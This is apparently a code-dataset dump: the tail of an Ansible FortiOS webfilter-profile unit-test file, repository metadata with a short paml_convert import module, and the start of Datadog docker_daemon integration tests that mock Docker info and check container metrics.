'options': 'activexfilter',
'ovrd-perm': 'bannedword-override',
'post-action': 'normal',
'replacemsg-group': 'test_value_12',
'web-content-log': 'enable',
'web-extended-all-action-log': 'enable',
'web-filter-activex-log': 'enable',
'web-filter-applet-log': 'enable',
'web-filter-command-block-log': 'enable',
'web-filter-cookie-log': 'enable',
'web-filter-cookie-removal-log': 'enable',
'web-filter-js-log': 'enable',
'web-filter-jscript-log': 'enable',
'web-filter-referer-log': 'enable',
'web-filter-unknown-log': 'enable',
'web-filter-vbs-log': 'enable',
'web-ftgd-err-log': 'enable',
'web-ftgd-quota-usage': 'enable',
'web-invalid-domain-log': 'enable',
'web-url-log': 'enable',
'wisp': 'enable',
'wisp-algorithm': 'primary-secondary',
'youtube-channel-status': 'disable'
}
set_method_mock.assert_called_with('webfilter', 'profile', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
def test_webfilter_profile_creation_fails(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'webfilter_profile': {
'comment': 'Optional comments.',
'extended_log': 'enable',
'https_replacemsg': 'enable',
'inspection_mode': 'proxy',
'log_all_url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd_perm': 'bannedword-override',
'post_action': 'normal',
'replacemsg_group': 'test_value_12',
'web_content_log': 'enable',
'web_extended_all_action_log': 'enable',
'web_filter_activex_log': 'enable',
'web_filter_applet_log': 'enable',
'web_filter_command_block_log': 'enable',
'web_filter_cookie_log': 'enable',
'web_filter_cookie_removal_log': 'enable',
'web_filter_js_log': 'enable',
'web_filter_jscript_log': 'enable',
'web_filter_referer_log': 'enable',
'web_filter_unknown_log': 'enable',
'web_filter_vbs_log': 'enable',
'web_ftgd_err_log': 'enable',
'web_ftgd_quota_usage': 'enable',
'web_invalid_domain_log': 'enable',
'web_url_log': 'enable',
'wisp': 'enable',
'wisp_algorithm': 'primary-secondary',
'youtube_channel_status': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_webfilter_profile.fortios_webfilter(input_data, fos_instance)
expected_data = {
'comment': 'Optional comments.',
'extended-log': 'enable',
'https-replacemsg': 'enable',
'inspection-mode': 'proxy',
'log-all-url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd-perm': 'bannedword-override',
'post-action': 'normal',
'replacemsg-group': 'test_value_12',
'web-content-log': 'enable',
'web-extended-all-action-log': 'enable',
'web-filter-activex-log': 'enable',
'web-filter-applet-log': 'enable',
'web-filter-command-block-log': 'enable',
'web-filter-cookie-log': 'enable',
'web-filter-cookie-removal-log': 'enable',
'web-filter-js-log': 'enable',
'web-filter-jscript-log': 'enable',
'web-filter-referer-log': 'enable',
'web-filter-unknown-log': 'enable',
'web-filter-vbs-log': 'enable',
'web-ftgd-err-log': 'enable',
'web-ftgd-quota-usage': 'enable',
'web-invalid-domain-log': 'enable',
'web-url-log': 'enable',
'wisp': 'enable',
'wisp-algorithm': 'primary-secondary',
'youtube-channel-status': 'disable'
}
set_method_mock.assert_called_with('webfilter', 'profile', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 500
def test_webfilter_profile_removal(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
delete_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)
input_data = {
'username': 'admin',
'state': 'absent',
'webfilter_profile': {
'comment': 'Optional comments.',
'extended_log': 'enable',
'https_replacemsg': 'enable',
'inspection_mode': 'proxy',
'log_all_url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd_perm': 'bannedword-override',
'post_action': 'normal',
'replacemsg_group': 'test_value_12',
'web_content_log': 'enable',
'web_extended_all_action_log': 'enable',
'web_filter_activex_log': 'enable',
'web_filter_applet_log': 'enable',
'web_filter_command_block_log': 'enable',
'web_filter_cookie_log': 'enable',
'web_filter_cookie_removal_log': 'enable',
'web_filter_js_log': 'enable',
'web_filter_jscript_log': 'enable',
'web_filter_referer_log': 'enable',
'web_filter_unknown_log': 'enable',
'web_filter_vbs_log': 'enable',
'web_ftgd_err_log': 'enable',
'web_ftgd_quota_usage': 'enable',
'web_invalid_domain_log': 'enable',
'web_url_log': 'enable',
'wisp': 'enable',
'wisp_algorithm': 'primary-secondary',
'youtube_channel_status': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_webfilter_profile.fortios_webfilter(input_data, fos_instance)
delete_method_mock.assert_called_with('webfilter', 'profile', mkey=ANY, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
def test_webfilter_profile_deletion_fails(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
delete_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)
input_data = {
'username': 'admin',
'state': 'absent',
'webfilter_profile': {
'comment': 'Optional comments.',
'extended_log': 'enable',
'https_replacemsg': 'enable',
'inspection_mode': 'proxy',
'log_all_url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd_perm': 'bannedword-override',
'post_action': 'normal',
'replacemsg_group': 'test_value_12',
'web_content_log': 'enable',
'web_extended_all_action_log': 'enable',
'web_filter_activex_log': 'enable',
'web_filter_applet_log': 'enable',
'web_filter_command_block_log': 'enable',
'web_filter_cookie_log': 'enable',
'web_filter_cookie_removal_log': 'enable',
'web_filter_js_log': 'enable',
'web_filter_jscript_log': 'enable',
'web_filter_referer_log': 'enable',
'web_filter_unknown_log': 'enable',
'web_filter_vbs_log': 'enable',
'web_ftgd_err_log': 'enable',
'web_ftgd_quota_usage': 'enable',
'web_invalid_domain_log': 'enable',
'web_url_log': 'enable',
'wisp': 'enable',
'wisp_algorithm': 'primary-secondary',
'youtube_channel_status': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_webfilter_profile.fortios_webfilter(input_data, fos_instance)
delete_method_mock.assert_called_with('webfilter', 'profile', mkey=ANY, vdom='root')
schema_method_mock.assert_not_called()
assert is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 500
def test_webfilter_profile_idempotent(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'error', 'http_method': 'DELETE', 'http_status': 404}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'webfilter_profile': {
'comment': 'Optional comments.',
'extended_log': 'enable',
'https_replacemsg': 'enable',
'inspection_mode': 'proxy',
'log_all_url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd_perm': 'bannedword-override',
'post_action': 'normal',
'replacemsg_group': 'test_value_12',
'web_content_log': 'enable',
'web_extended_all_action_log': 'enable',
'web_filter_activex_log': 'enable',
'web_filter_applet_log': 'enable',
'web_filter_command_block_log': 'enable',
'web_filter_cookie_log': 'enable',
'web_filter_cookie_removal_log': 'enable',
'web_filter_js_log': 'enable',
'web_filter_jscript_log': 'enable',
'web_filter_referer_log': 'enable',
'web_filter_unknown_log': 'enable',
'web_filter_vbs_log': 'enable',
'web_ftgd_err_log': 'enable',
'web_ftgd_quota_usage': 'enable',
'web_invalid_domain_log': 'enable',
'web_url_log': 'enable',
'wisp': 'enable',
'wisp_algorithm': 'primary-secondary',
'youtube_channel_status': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_webfilter_profile.fortios_webfilter(input_data, fos_instance)
expected_data = {
'comment': 'Optional comments.',
'extended-log': 'enable',
'https-replacemsg': 'enable',
'inspection-mode': 'proxy',
'log-all-url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd-perm': 'bannedword-override',
'post-action': 'normal',
'replacemsg-group': 'test_value_12',
'web-content-log': 'enable',
'web-extended-all-action-log': 'enable',
'web-filter-activex-log': 'enable',
'web-filter-applet-log': 'enable',
'web-filter-command-block-log': 'enable',
'web-filter-cookie-log': 'enable',
'web-filter-cookie-removal-log': 'enable',
'web-filter-js-log': 'enable',
'web-filter-jscript-log': 'enable',
'web-filter-referer-log': 'enable',
'web-filter-unknown-log': 'enable',
'web-filter-vbs-log': 'enable',
'web-ftgd-err-log': 'enable',
'web-ftgd-quota-usage': 'enable',
'web-invalid-domain-log': 'enable',
'web-url-log': 'enable',
'wisp': 'enable',
'wisp-algorithm': 'primary-secondary',
'youtube-channel-status': 'disable'
}
set_method_mock.assert_called_with('webfilter', 'profile', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 404
def test_webfilter_profile_filter_foreign_attributes(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'webfilter_profile': {
'random_attribute_not_valid': 'tag',
'comment': 'Optional comments.',
'extended_log': 'enable',
'https_replacemsg': 'enable',
'inspection_mode': 'proxy',
'log_all_url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd_perm': 'bannedword-override',
'post_action': 'normal',
'replacemsg_group': 'test_value_12',
'web_content_log': 'enable',
'web_extended_all_action_log': 'enable',
'web_filter_activex_log': 'enable',
'web_filter_applet_log': 'enable',
'web_filter_command_block_log': 'enable',
'web_filter_cookie_log': 'enable',
'web_filter_cookie_removal_log': 'enable',
'web_filter_js_log': 'enable',
'web_filter_jscript_log': 'enable',
'web_filter_referer_log': 'enable',
'web_filter_unknown_log': 'enable',
'web_filter_vbs_log': 'enable',
'web_ftgd_err_log': 'enable',
'web_ftgd_quota_usage': 'enable',
'web_invalid_domain_log': 'enable',
'web_url_log': 'enable',
'wisp': 'enable',
'wisp_algorithm': 'primary-secondary',
'youtube_channel_status': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_webfilter_profile.fortios_webfilter(input_data, fos_instance)
expected_data = {
'comment': 'Optional comments.',
'extended-log': 'enable',
'https-replacemsg': 'enable',
'inspection-mode': 'proxy',
'log-all-url': 'enable',
'name': 'default_name_8',
'options': 'activexfilter',
'ovrd-perm': 'bannedword-override',
'post-action': 'normal',
'replacemsg-group': 'test_value_12',
'web-content-log': 'enable',
'web-extended-all-action-log': 'enable',
'web-filter-activex-log': 'enable',
'web-filter-applet-log': 'enable',
'web-filter-command-block-log': 'enable',
'web-filter-cookie-log': 'enable',
'web-filter-cookie-removal-log': 'enable',
'web-filter-js-log': 'enable',
'web-filter-jscript-log': 'enable',
'web-filter-referer-log': 'enable',
'web-filter-unknown-log': 'enable',
'web-filter-vbs-log': 'enable',
'web-ftgd-err-log': 'enable',
'web-ftgd-quota-usage': 'enable',
'web-invalid-domain-log': 'enable',
'web-url-log': 'enable',
'wisp': 'enable',
'wisp-algorithm': 'primary-secondary',
'youtube-channel-status': 'disable'
}
set_method_mock.assert_called_with('webfilter', 'profile', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
| 41.910417
| 142
| 0.590893
| 2,092
| 20,117
| 5.374761
| 0.099426
| 0.128068
| 0.149413
| 0.160085
| 0.90635
| 0.900569
| 0.89212
| 0.89212
| 0.89212
| 0.89212
| 0
| 0.004913
| 0.271512
| 20,117
| 479
| 143
| 41.997912
| 0.762334
| 0.033007
| 0
| 0.908873
| 0
| 0
| 0.454597
| 0.177702
| 0
| 0
| 0
| 0
| 0.086331
| 1
| 0.016787
| false
| 0
| 0.019185
| 0
| 0.038369
| 0.002398
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
ed03e1a16889b36ec37e6c31c40388de7e0e1555
| 107
|
py
|
Python
|
paml_convert/markdown/__init__.py
|
palibhasataolamang/paml
|
f3f2c113f0925e42557820416199bd6eaaeb091c
|
[
"MIT"
] | 6
|
2021-10-16T04:42:59.000Z
|
2022-03-07T18:54:04.000Z
|
paml_convert/markdown/__init__.py
|
palibhasataolamang/paml
|
f3f2c113f0925e42557820416199bd6eaaeb091c
|
[
"MIT"
] | 56
|
2021-10-15T21:54:30.000Z
|
2022-03-31T20:22:26.000Z
|
paml_convert/markdown/__init__.py
|
palibhasataolamang/paml
|
f3f2c113f0925e42557820416199bd6eaaeb091c
|
[
"MIT"
] | 2
|
2022-01-26T07:14:45.000Z
|
2022-02-04T11:27:35.000Z
|
from .protocol_to_markdown import MarkdownConverter
from .protocol_to_markdown import excel_to_numpy_range
| 35.666667
| 54
| 0.906542
| 15
| 107
| 6
| 0.6
| 0.266667
| 0.311111
| 0.488889
| 0.622222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074766
| 107
| 2
| 55
| 53.5
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
ed283dd6b3fa30327ed8180ac5040a668536a081
| 50,709
|
py
|
Python
|
docker_daemon/test/test_docker_daemon.py
|
seants/integrations-core
|
1e5548915fc24f1bbd095e845f0940c22992b09c
|
[
"BSD-3-Clause"
] | 4
|
2021-06-21T19:21:49.000Z
|
2021-06-23T21:21:55.000Z
|
docker_daemon/test/test_docker_daemon.py
|
seants/integrations-core
|
1e5548915fc24f1bbd095e845f0940c22992b09c
|
[
"BSD-3-Clause"
] | 10
|
2018-02-27T19:06:07.000Z
|
2021-08-30T03:23:26.000Z
|
docker_daemon/test/test_docker_daemon.py
|
seants/integrations-core
|
1e5548915fc24f1bbd095e845f0940c22992b09c
|
[
"BSD-3-Clause"
] | 6
|
2018-01-09T21:37:20.000Z
|
2020-05-26T09:28:09.000Z
|
# (C) Datadog, Inc. 2010-2017
# All rights reserved
# Licensed under Simplified BSD License (see LICENSE)
# stdlib
import logging
import mock
# 3p
from docker import Client
from nose.plugins.attrib import attr
# project
from checks import AgentCheck
from tests.checks.common import AgentCheckTest
from tests.checks.common import load_check
from utils.dockerutil import DockerUtil
log = logging.getLogger('tests')
CONTAINERS_TO_RUN = [
"nginx:latest",
"redis:latest",
]
DEFAULT_CUSTOM_TAGS = ["env:test", "docker:test"]
MOCK_CONFIG = {
"init_config": {},
"instances": [{
"url": "unix://var/run/w00t.sock",
"collect_disk_stats": True,
"tags": DEFAULT_CUSTOM_TAGS
}]
}
POD_NAME_LABEL = "io.kubernetes.pod.name"
def reset_docker_settings():
"""Populate docker settings with default, dummy settings"""
DockerUtil().set_docker_settings({}, {})
DockerUtil()._client = Client(**DockerUtil().settings)
@attr(requires='docker_daemon')
class TestCheckDockerDaemonDown(AgentCheckTest):
"""Tests for docker_daemon integration when docker is down."""
CHECK_NAME = 'docker_daemon'
@mock.patch('docker.client.Client._retrieve_server_version',
side_effect=Exception("Connection timeout"))
def test_docker_down(self, *args):
DockerUtil().set_docker_settings({}, {})
DockerUtil().last_init_retry = None
DockerUtil().left_init_retries = 10
DockerUtil()._client = None
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertServiceCheck("docker.service_up", status=AgentCheck.CRITICAL, tags=DEFAULT_CUSTOM_TAGS, count=1)
@attr(requires='docker_daemon')
class TestCheckDockerDaemonNoSetUp(AgentCheckTest):
"""Tests for docker_daemon integration that don't need the setUp."""
CHECK_NAME = 'docker_daemon'
def test_event_attributes_tag(self):
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"event_attributes_as_tags": ["exitCode", "name"],
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
DockerUtil().last_init_retry = None
DockerUtil().left_init_retries = 10
DockerUtil()._client = None
container_fail = DockerUtil().client.create_container(
"nginx:latest", detach=True, name='event-tags-test', entrypoint='/bin/false')
log.debug('start nginx:latest with entrypoint /bin/false')
DockerUtil().client.start(container_fail)
log.debug('container exited with %s' % DockerUtil().client.wait(container_fail, 1))
# Wait 1 second after exit so the event will be picked up
from time import sleep
sleep(1)
self.run_check(config, force_reload=True)
DockerUtil().client.remove_container(container_fail)
# Previous tests might have left unprocessed events, to be ignored
filtered_events = []
for event in self.events:
if 'container_name:event-tags-test' in event.get('tags', []):
filtered_events.append(event)
self.assertEqual(len(filtered_events), 1)
self.assertIn("exitCode:1", filtered_events[0]["tags"])
self.assertNotIn("name:test-exit-fail", filtered_events[0]["tags"])
@attr(requires='docker_daemon')
class TestCheckDockerDaemon(AgentCheckTest):
"""Basic Test for docker_daemon integration."""
CHECK_NAME = 'docker_daemon'
# Mock tests #
def mock_normal_get_info(self):
return {
'DriverStatus': [
['Data Space Used', '1 GB'],
['Data Space Available', '9 GB'],
['Data Space Total', '10 GB'],
['Metadata Space Used', '1 MB'],
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
]
}
def mock_get_info_no_used(self):
return {
'DriverStatus': [
['Data Space Available', '9 GB'],
['Data Space Total', '10 GB'],
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
]
}
def mock_get_info_no_data(self):
return {
'DriverStatus': [
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
['Metadata Space Used', '1 MB'],
]
}
def mock_get_info_invalid_values(self):
return {
'DriverStatus': [
['Metadata Space Available', '9 MB'],
['Metadata Space Total', '10 MB'],
['Metadata Space Used', '11 MB'],
]
}
def mock_get_info_all_zeros(self):
return {
'DriverStatus': [
['Data Space Available', '0 MB'],
['Data Space Total', '0 GB'],
['Data Space Used', '0 KB'],
]
}
def mock_get_info_no_spaces(self):
return {
'DriverStatus': [
['Data Space Used', '1GB'],
['Data Space Available', '9GB'],
['Data Space Total', '10GB'],
['Metadata Space Used', '1MB'],
['Metadata Space Available', '9MB'],
['Metadata Space Total', '10MB'],
]
}
@mock.patch('docker.Client.info')
def test_main_service_check(self, mock_info):
mock_info.return_value = self.mock_normal_get_info()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertServiceCheck("docker.service_up", status=AgentCheck.OK, tags=DEFAULT_CUSTOM_TAGS, count=1)
@mock.patch('docker.Client.info')
def test_devicemapper_disk_metrics(self, mock_info):
mock_info.return_value = self.mock_normal_get_info()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.data.free', value=9e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.used', value=1e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.total', value=10e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.free', value=9e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.used', value=1e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.total', value=10e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
@mock.patch('docker.Client.info')
def test_devicemapper_no_used_info(self, mock_info):
"""Disk metrics collection should still work and `percent` can be calculated"""
mock_info.return_value = self.mock_get_info_no_used()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.data.free', value=9e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.total', value=10e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.free', value=9e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.total', value=10e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
@mock.patch('docker.Client.info')
def test_devicemapper_no_data_info(self, mock_info):
"""Disk metrics collection should still partially work for metadata"""
mock_info.return_value = self.mock_get_info_no_data()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.metadata.free', value=9e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.total', value=10e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
@mock.patch('docker.Client.info')
def test_devicemapper_invalid_values(self, mock_info):
"""Invalid values are detected in _calc_percent_disk_stats and 'percent' use 'free'+'used' instead of 'total' """
mock_info.return_value = self.mock_get_info_invalid_values()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.metadata.free', value=9e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.used', value=11e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.total', value=10e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.percent', value=55, tags=DEFAULT_CUSTOM_TAGS)
@mock.patch('docker.Client.info')
def test_devicemapper_all_zeros(self, mock_info):
"""Percentage should not be calculated, other metrics should be collected correctly"""
mock_info.return_value = self.mock_get_info_all_zeros()
self.run_check(MOCK_CONFIG, force_reload=True)
metric_names = [metric[0] for metric in self.metrics]
self.assertMetric('docker.data.free', value=0, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.used', value=0, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.total', value=0, tags=DEFAULT_CUSTOM_TAGS)
self.assertNotIn('docker.data.percent', metric_names)
@mock.patch('docker.Client.info')
def test_devicemapper_no_spaces(self, mock_info):
mock_info.return_value = self.mock_get_info_no_spaces()
self.run_check(MOCK_CONFIG, force_reload=True)
self.assertMetric('docker.data.free', value=9e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.used', value=1e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.total', value=10e9, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.data.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.free', value=9e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.used', value=1e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.total', value=10e6, tags=DEFAULT_CUSTOM_TAGS)
self.assertMetric('docker.metadata.percent', value=10.0, tags=DEFAULT_CUSTOM_TAGS)
# integration tests #
def setUp(self):
self.docker_client = DockerUtil().client
self.second_network = self.docker_client.create_network("second", driver="bridge")['Id']
for c in CONTAINERS_TO_RUN:
images = [i["RepoTags"][0] for i in self.docker_client.images(c.split(":")[0]) if i["RepoTags"] and i["RepoTags"][0].startswith(c)]
if len(images) == 0:
for line in self.docker_client.pull(c, stream=True):
print line
self.containers = []
for c in CONTAINERS_TO_RUN:
name = "test-new-{0}".format(c.replace(":", "-"))
host_config = None
labels = None
if c == "nginx:latest":
host_config = {"Memory": 137438953472}
labels = {"label1": "nginx", "foo": "bar"}
cont = self.docker_client.create_container(
c, detach=True, name=name, host_config=host_config, labels=labels)
self.containers.append(cont)
if c == "nginx:latest":
self.docker_client.connect_container_to_network(cont['Id'], self.second_network)
for c in self.containers:
log.info("Starting container: {0}".format(c))
self.docker_client.start(c)
def tearDown(self):
for c in self.containers:
log.info("Stopping container: {0}".format(c))
self.docker_client.remove_container(c, force=True)
self.docker_client.remove_network(self.second_network)
def test_basic_config_single(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.image.size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.size', ['image_name:redis', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']),
('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest'])
]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"collect_image_size": True,
"collect_images_stats": True
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check(config, force_reload=True)
for mname, tags in expected_metrics:
self.assertMetric(mname, tags=tags, count=1, at_least=1)
def test_basic_config_twice(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running.total', None),
('docker.containers.stopped.total', None),
('docker.images.available', None),
('docker.images.intermediate', None),
('docker.cpu.system', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.read_bytes', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']),
('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']),
('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_rcvd', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'docker_network:bridge']),
('docker.net.bytes_sent', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'docker_network:bridge'])
]
custom_tags = ["extra_tag", "env:testing"]
config = {
"init_config": {},
"instances": [{
"url": "unix://var/run/docker.sock",
"tags": custom_tags,
"collect_image_size": True,
"collect_images_stats": True,
},
],
}
DockerUtil().set_docker_settings(config['init_config'], config['instances'][0])
self.run_check_twice(config, force_reload=True)
for mname, tags in expected_metrics:
expected_tags = list(custom_tags)
if tags is not None:
expected_tags += tags
self.assertMetric(mname, tags=expected_tags, count=1, at_least=1)
def test_exclude_filter(self):
expected_metrics = [
('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'short_image:nginx:latest']),
('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest', 'short_image:redis:latest']),
